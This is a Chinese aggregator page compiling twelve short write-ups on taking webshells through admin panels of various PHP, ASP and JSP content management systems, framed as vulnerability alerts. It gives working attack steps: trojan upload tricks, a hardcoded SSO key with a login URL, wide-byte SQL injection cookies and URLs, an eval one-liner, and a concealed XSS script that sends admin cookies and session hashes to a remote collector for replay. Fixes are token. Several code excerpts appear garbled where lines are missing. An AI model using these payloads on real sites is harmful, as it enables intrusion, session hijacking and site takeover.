星光贴吧1.3 后台拿SHELL及修复方案漏洞预警(推荐12篇)由网友“小金”投稿提供,下面是小编整理过的星光贴吧1.3 后台拿SHELL及修复方案漏洞预警,欢迎大家阅读分享借鉴,欢迎大家分享。
篇1:星光贴吧1.3 后台拿SHELL及修复方案漏洞预警
by:风之传说
今天分析了两个程序,都发了吧,
好吧,我承认有点鸡肋。。
我们先来看看这个文件
/common.function.php
01functionwrite_file($l1,$l2=''){ //写文件
02 $dir= dirname($l1);
03 if(!is_dir($dir)){
04 mkdirss($dir);
05 }
06 );
07}
08functionread_file($l1){
09 );
10}
11// 数组保存到文件
12functionarr2file($filename,$arr=''){
13 if(is_array($arr)){
14 $con= var_export($arr,true);
15 }else{
16 $con=$arr;
17 }
18 $con=“
19 write_file($filename,$con);
20}
上面是定义的函数,我们主要看write_file这个函数,OK我们再来看看后台的一个文件l
adminmoduleextendMod.class.php
1$array=$_POST; //POST提交的数组赋值给$array
2 if(!empty($array['ads_name_sub'])){
3 if($this->model->table('ads')->where(' adsname=”'.trim($_POST['ads_name_sub']).'“')->find){
4 $this->error('该广告标识已经存在,请重新填写一个广告标识!');
5 }
6 $data['adsname'] = trim($array['ads_name_sub']); //文件名
7 $data['adscontent'] =stripslashes(trim($array['ads_content_sub'])); //内容
8 $this->model->table('ads')->data($data)->insert($data);
9 write_file(ROOT_PATH.'/data/ads/'.$data['adsname'].'.js',t2js($data['adscontent'])); //写SHELL
进入后台,然后浏览www.badguest.cn /admin/index.php/extend/ads.html
然后广告识别码填:1.php
广告内容填:
然后访问www.badguest.cn /data/ads/1.php.js 就可以看到我们可爱的马了,
当然1.php.js这样的解析得看环境了。
所以说鸡肋,但是也是拿SHELL的一种方法。
修复:过滤这两项输入内容
篇2:常用的后台上传拿shell漏洞预警
有的时候进入后台了,拿shell也可能是你羁绊,有编辑器的话,再具体说吧,万一编辑器是精简版的或者是漏洞修补的FCK,只能利用一些小的上传点了,可不要小看这些上传点。
能不能利用的NC提交,其实NC提交已经反锁了,利用opera浏览器或者使用suitbute更为简洁。那一般说来什么情况下可以如此使用呢,看源代码
出现类似filepath value=”upload”就爽歪歪了,试着修改value=“upload.asp;”
出现类似filename value =”1312321321″ ,试着修改value=”1312321321.asp”
如果还不行的可是在后面加上一个空格或者;试试
篇3:dedecms 5.7后台拿SHELL漏洞漏洞预警
漏洞说明:dedecms 5.7教之前的版本有了很大的改进,修复了5.6以下版本严重的上传0day;相当的鸡肋,前提是有了后台权限,由于系统自带的文件管理器插件没有过滤文件上传及编辑后保存的文件名,导致直接写入webshell漏洞。
方法一见:dedecms5.7拿SHELL漏洞即修复
关键词:Powered by DedeCMSV57_GBK
漏洞测试:
1、进入后台,默认的是dede,www.cnc.net/dede,左边导航栏目,选择模块>辅助插件>文件管理器(系统默认安装的,如果没有请在插件管理器中自行安装)>然后选择新建文本(或者文件上传)……
如上图:文件名称随便填,例如1.php;内容出填写一句话;菜刀连接,
下面的上传也一样,没有过滤文件扩展名,导致上传任意文件。
漏洞修复:
DEDECMS安全性终极设置
漏洞相关:
DedeCms 5.7 两处XSS跨站漏洞
dedecms5.7拿SHELL漏洞即修复
DedeCMS鸡肋漏洞之任意修改文章
DedeCms v5.6 恶意代码执行漏洞
织梦(DedeCMS)支付页面SQL注入漏洞
篇4:ZCMS 1.3 final后台验证绕过漏洞及修复方案漏洞预警
简要描述:
SSO.jsp
文件逻辑错误
详细说明:
SSO.jsp文件逻辑错误
<%
String username = request.getParameter(”u“);
String time = request.getParameter(”t“);
String str = request.getParameter(”s“);
String key = ”WIU%&*DJAJKL%^*W(DLJIST“;
String s = StringUtil.md5Hex(username + time + key);
if (s.equals(str)) {
Login.ssoLogin(request, response, username);
}
%>
漏洞证明:
www.zving.com/demo/SSO.jsp?u=admin&t=1&s=ff1168b33fe9e33841bb9814c58a098d
修复方案:
删除漏洞文件
漏洞作者: tnt1200
篇5:IdeaCMS2.1 建站系统后台拿shell漏洞预警
这个建站系统还不错,从后台来看是仿马克思的cms
后台--系统--网站配置-- 随便找个位置插入闭合式一句话,
连接地址:localhost/inc/config.asp
再用菜刀连接就OK了
篇6:帝国cms 7.0 后台拿shell漏洞预警
帝国CMS7.0后台可上传mod后缀的PHP文件并执行里面的php代码,
进入后台~!
方法一:系统——数据表与系统模型——管理数据表 再随意选择一个数据表,打开对应数据表的“管理系统模型”如图:
“导入系统模型”,可进入“LoadInM.php”页面,如图:
在本地新建一个文件,文本内容为
再命名为1.php.mod,导入这个mod文件,即执行里面的php代码,在ecmsmod.php的相同目录下生产x.php的一句话木马文件,
可以从导入系统模型源文件中查看到,如图:
方法二:
在本地新建一个info.php(任意php文件)其源码内容为
再重名名为info.php.mod,将此文件按照方法一导入系统模型
即可执行info.php.mod的代码并显示在页面上,迅速查看源码即可得知网站根目录的绝对路径,如图:
info.php.mod的源码
然后
系统——备份与恢复数据——执行SQL语句在执行SQL语句框中输入如下代码:
即可在网站根目录生成 z.php 菜刀连接即可~!
篇7:骑士cms注入及后台拿shell漏洞预警
0x1 任意用户登录
0x2 盲注
0x3 后台拿shell
0x4 随机函数问题
详细说明:
0x1 任意用户登录
user/login.php
elseif((empty($_SESSION['uid']) || empty($_SESSION['username']) || empty($_SESSION['utype'])) && $_COOKIE['QS']['username'] && $_COOKIE['QS']['password'] && $_COOKIE['QS']['uid'])
{
if(check_cookie($_COOKIE['QS']['username'],$_COOKIE['QS']['password']))
{
update_user_info($_COOKIE['QS']['uid'],false,false);
header(”Location:“.get_member_url($_SESSION['utype']));
}
else
{
unset($_SESSION['uid'],$_SESSION['username'],$_SESSION['utype'],$_SESSION['uqqid'],$_SESSION['activate_username'],$_SESSION['activate_email'],$_SESSION[”openid“]);
setcookie(”QS[uid]“,”“,time - 3600,$QS_cookiepath, $QS_cookiedomain);
setcookie('QS[username]',”“, time() - 3600,$QS_cookiepath, $QS_cookiedomain);
setcookie('QS[password]',”“, time() - 3600,$QS_cookiepath, $QS_cookiedomain);
setcookie(”QS[utype]“,”“,time() - 3600,$QS_cookiepath, $QS_cookiedomain);
header(”Location:“.url_rewrite('QS_login'));
}
}
include/fun_user.php
//检测COOKIE
function check_cookie($name,$pwd){
global $db;
$row = $db->getone(”SELECT COUNT(*) AS num FROM “.table('members').” WHERE username='{$name}' and password = '{$pwd}'“);
if($row['num'] > 0)
{
return true;
}else{
return false;
}
}
构造cookie如下
QS[uid] 2
QS[utype] 1
QS[password] 111111111111111111111
QS[username]%bf%27 or 1=1 %23
uid 为假冒用户的ID utype为用户类型password任意
0x2 盲注
demo32.74cms.com//resume/resume-list.php?key=test00%bf')/**/and+if((select/**/admin_name/**/from/**/qs_admin/**/limit/**/0,1)=0x61646D696E,benchmark(1000000000,(select/**/1)),1)/**/%23
上面两个都是宽字节注入,如果你能猜出管理员密码,还能解出双重md5的话,还能猜出后台路径,继续看下面
0x3 后台拿shell
1.先关闭csrf防御功能
2.在hr工具箱中添加一个伪造的doc,内容为
3.在工具-计划任务中添加任务,脚本任务填../../data/hrtools//06/1339941553308.doc
4.然后执行
0x4 随机函数问题(几乎可以无视,纯属个人YY)
在admin_common.fun.inc.php中有个$QS_pwdhash是在安装的时候赋值的,只要能猜出就可已不用解双重md5了,
骑士cms注入及后台拿shell漏洞预警
,
这个$QS_pwdhash是由randstr生成
function randstr($length=6)
{
$hash='';
$chars= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz@#!~?:-=';
$max=strlen($chars)-1;
mt_srand((double)microtime()*1000000);
for($i=0;$i<$length;$i++) {
$hash.=$chars[mt_rand(0,$max)];
}
return $hash;
}
生成长度为6的随机数,mt_srand()播种一样,就会得到一样的随机数,所以我们最多要猜1000000次就可以了( )
漏洞证明:
修复方案:
do it yourself~
作者yy520
篇8:维博天下CMS后台拿shell漏洞预警
关键字:Powered by CNKSYS
后台地址:admin
默认账号密码:admin admin
拿shell方法:
随便找个地方,上传一句话图片马,重命名为xx.asp
ps:后面小菜发现:这个程序貌似是改头换面的,
维博天下CMS后台拿shell漏洞预警
,
。。。
篇9:黄页模块XSS漏洞拿PHPCMS V9后台管理权限及修复方案漏洞预警
原理
PHPCMS后台中是通过Cookie跟QueryString中的pc_hash来判断你是否是系统管理员的,其中Cookie是存在用户本地的,pc_hash是存在站点数据库的,如果你得到这两者并在构造浏览器环境那么你打开网站的后台即可获得相应的管理员权限。
PHPCMS V9 黄页模块的设计不严格没有严格的过滤用户的输入使得用户可以构造脚本并且成功提交。而此脚本只要获得用户的Cookie数据已经PC_HASH那么就可以构造浏览器环境实现无需登录就进入后台管理系统。
漏洞重现
首先假设你已经是网站中的商家一员并已经有权限发布产品或者商机或者其他可在后台界面看到的列表的类型。
我们添加一个产品类型,注意在产品名称这里的时候构造如下的文本:{随意名称},其中jsurl为你远程的站点脚本。
,然后点击提交,那么管理员在查看 模块-》企业黄页-》信息管理-》产品信息管理 的时候就已经默认调用了你的远程带么了。
那么你远程的脚本应该是怎么样的才能获取到相应的Cookie跟pc_hash的呢。
有一种PHP代码是这样的:
但是这样其实不行的,因为Cookie跨域了。无法获取到关键的Cookie。
这里既然说到了XSS就不得不用到JavaScript。
(function { var createElement = function(tag, obj) { //创建元素 var elem = document.createElement(tag); for( var k in obj ) { if( obj.hasOwnProperty(k) ) { elem[k] = obj[k]; } } return elem; } document.write(''); var href = window.location.href, cookie = document.cookie, iframe. = createElement(”IFRAME“, { name : ”QPWOEIRU96“, src : ”about:blank“, className : ”h“ }), form. = createElement(”FORM“,{ target : ”QPWOEIRU96“, action : ”127.0.0.1/cross.php“, //远程PHP文件 method : ”POST“, //提交方式 id : ”QPWOEIRU96“, className : 'h' }); form.appendChild(createElement(”textarea“, { name : ”cookie“, value : cookie })); form.appendChild(createElement(”textarea“, { //后台地址 name : ”href“, value : href })); form.appendChild(createElement(”textarea“, { //网站 name : ”host“, value : ”“ + window.location.host })); form.appendChild(createElement(”textarea“, { //时间Unix时间戳 name : ”time“, value : +new Date() })); document.body.appendChild(iframe); document.body.appendChild(form); document.getElementById(”QPWOEIRU96“).submit(); })();
为什么写的那么麻烦?因为此脚本具有隐蔽性,
你运行跟没运行管理员是看不到任何直观的变换的,而且利用了闭包特性,不会对全局JavaScript对象造成破坏。
以上脚本的思路是:构造一个id叫QPWOEIRU96的表单,然后发送到一个QPWOEIRU96的隐藏iframe,实现POST跨域发送数据。
当然你得在远程创建一个脚本来获取数据,可以使用如下的一句话PHP代码:
然后就等着网站管理员们中招吧。
如何使用获取到的数据?
随着时间的增长你会发现temp.txt下密密麻麻的多了很多json数据。
直接获取最后一条数据放到Chrome的控制台里:
window.location = (获取的json数据).host;// www.xxx.com跳到该页面之后再执行以下的document.cookie = (获取的json数据).cookie;window.location = (获取的json数据).href;
,然后你会发现就华丽丽的进到了后台管理页面中。
缺点
PC_HASH跟Cookie都会过期,所以抓到数据马上进入吧。
如果不知道密码,你只能登录一次如果退出了除非下一次再获得数据否则无法用上次的数据进入。
修复方案
停用PHPCMS V9黄页模块等待官方修复或者自己进行过滤
篇10:淘客帝国系统后台cookie欺骗漏洞及后台拿shell漏洞预警
偶然发现的淘客帝国免费版的后台可以cookie欺骗
工具: 老兵的cookie'欺骗工具
关键字: 分类- 商城- 品牌- 女人- 男人- 美容- 鞋包- 数码- 居家- 食品
首先打开工具把cookie改为 COOKIEadminuser=admin; DedeUserID=1; PHPSESSID=11111 ,然后再工具的地址栏那里输入网站的后台(默认后台/admin)等页面全部出来后再在后台目录后加上manage.php 跳转就可以进入后台了,进入后台后怎么样拿shell就简单了,这里就不说了..
补下代码【anfli 补】
getshell 简单 系统配置 {${@eval($_POST['cmd'])}} 一句话连接地址/data/configdata.php
顺便补一下代码===================|The End}
##admin目录下php 部验证##
--------------------main.php
require_once '../include/adminfunction.php';
checkadmin();
---------------------/include/sysfunction.php
#####
function checkadmin(){
global $COOKIEadminuser;
global $sitetitleurl;
//判断
if( (isset($_COOKIE['COOKIEadminuser']) && $_COOKIE['COOKIEadminuser']!=”“) || (isset($_SESSION['adminuser']) && $_SESSION['adminuser']!=”“) ){
} else {
echo(”“);
exit;
}
一看就懂
$_COOKIE['COOKIEadminuser']!=”“ 只要不为空就ok
//index.php 一看到这里就知道 程序员自己催眠了自己 登出就把adminuser 清空 .........COOKIEadminuser是干神马的?
/admin/index.php 是不会通过验证 但是如果访问/admin/manage.php 的话一样ok 也就lz所谓的偶然发现了 COOKIEadminuser 并没有空
if($action==”loginout“){
$_SESSION['adminuser'] = ”“;
SetCookie(”adminuser“, ”");
redirect_to($sitetitleurl);
其实所有审计过程 是倒序
篇11:金蝶Apusic Web框架后台拿网站webshell及修复漏洞预警
Apusic Web管理控制台
默认后台地址:admin/login.jsp
默认管理账号密码:admin admin
利用方法:后台有执行SQL语句的地,也有加载神马的,
金蝶Apusic Web框架后台拿网站webshell及修复漏洞预警
,
具体字样忘记了~
找到上传的地,一个加载神马的,只要看到“浏览”二字,你就懂了。建立一个完了命名t00ls,然后将一个war后缀的JSP马上传。
webshell默认路径是:t00ls/war马的名字.jsp
by t00ls.net
提供修复方案:
修改默认账号密码。不知道能付过滤war后缀
篇12:记事狗微博V3.6.1 Build 0718后台拿shell漏洞预警
记事狗微博系统,后台存在设计缺陷,可导致进入后台者获得shell
版本:V3.6.1 Build 20120718
1.系统工具->数据备份->自定义备份->选择一张数据量较小的表->更多选项->选择压缩备份文件->多分卷压缩成一个文件,
直接提交。
2.直接把备份文件下载下来,然后往备份文件添加一个zzz.php.sql,内容为
3.然后找一张正常的图片 执行cat yy520.zip >> yy520.png ,前台提交yy520.png
4.获取图片的地址images/topic/6/17/14_o.jpg,回到后台 系统工具->数据恢复
点击解压缩,用burp suite 截包
修改为:datafile_server=./images/topic/6/17/14_o.jpg
最后访问
最后的最后,请让我解释一下,为什么上面会有那么多2b的步骤。
1.
$datafile_server = get_param(‘datafile_server’);
。。。。。
$unzip->ReadFile($datafile_server);
if($unzip->Count() == 0 || $unzip->GetError(0) != 0 || !preg_match(“/.sql$/i”, $importfile = $unzip->GetName(0))) {
$this->Messager(‘数据文件不存在: 可能服务器不允许上传文件或尺寸超过限制。’,null);
}
由于上面preg_match的限制,在压缩文件里面的文件名必须是以sql结尾,这个可以用apache解析绕过,所以我们的文件名必须是***.php.sql
2.
$identify = explode(‘,’, base64_decode(preg_replace(“/^# Identify:s*(w+).*/s”, “1″, substr($unzip->GetData(0), 0, 256))));
$confirm = !empty($confirm) ? 1 : 0;if(!$confirm && $identify[1] !=SYS_VERSION) {
,
。。。反正就不是解压的操作
}
在进行导入的时候它会查看压缩包的第一个文件的头部,然后决定是直接导入,还是先解压,所以我们需要一个正常的备份文件,也就是那个yy520-1.sql
才会执行下面
$sqlfilecount = 0;
foreach($unzip->Entries as $entry) {
if(preg_match(“/.sql$/i”, $entry->Name)) {
$len = Load::lib(‘io’, 1)->WriteFile(‘./data/backup/’.$backupdir.’/’.$entry->Name, $entry->Data);
$sqlfilecount++;
}
}
3.
然后我就屁颠屁颠的跑前台上传zip文件,后来我发现上传后的zip文件路径是记录在数据库中,路径是由一个mysql_insert_id 来随机生成滴,本来想暴力破,直接提交乌云,敷衍了事,后来想想意义不大。然后发现$unzip->ReadFile($datafile_server);可以读取jpg的,然后就把那个zip文件直接改为jpg上传,提示错误(不是一个有效的图片),看了代码
if(function_exists(‘exif_imagetype’) && !exif_imagetype($temp)) {
$this->_setError(507);
return false;
} elseif (function_exists(‘getimagesize’) && !getimagesize($temp)) {
$this->_setError(507);
return false;
}
然后就必须用一个正常文件,所以必须用cat yy520.zip >> yy520.png
后台拿个shell有必要那么难为我吗~。~
修复方案:
稍微微的过滤一下下$datafile_serve
★ xheditor默认upload.php畸形文件上传漏洞漏洞预警
【星光贴吧1.3 后台拿SHELL及修复方案漏洞预警(推荐12篇)】相关文章:
扩展思维新方法后台拿shell2022-05-06
Discuz x1.5盗取任意用户cookie漏洞预警2023-02-07
FCKeditor 建立文件夹、上传文件时“.”变“”的突破漏洞预警2023-08-07
规章制度执行有漏洞2023-09-16
Wp暴目录漏洞全版本通杀漏洞预警2022-04-30
有道Chrome浏览器划词插件xss漏洞漏洞预警2022-06-16
Bambook某频道SQL注射漏洞及修复2022-08-31
Geeklog SECauthenticate函数SQL注入漏洞2022-12-16
如何成功清除“熊猫烧香”病毒2022-05-20
PHP中级开发工程师的具体职责范围2023-03-25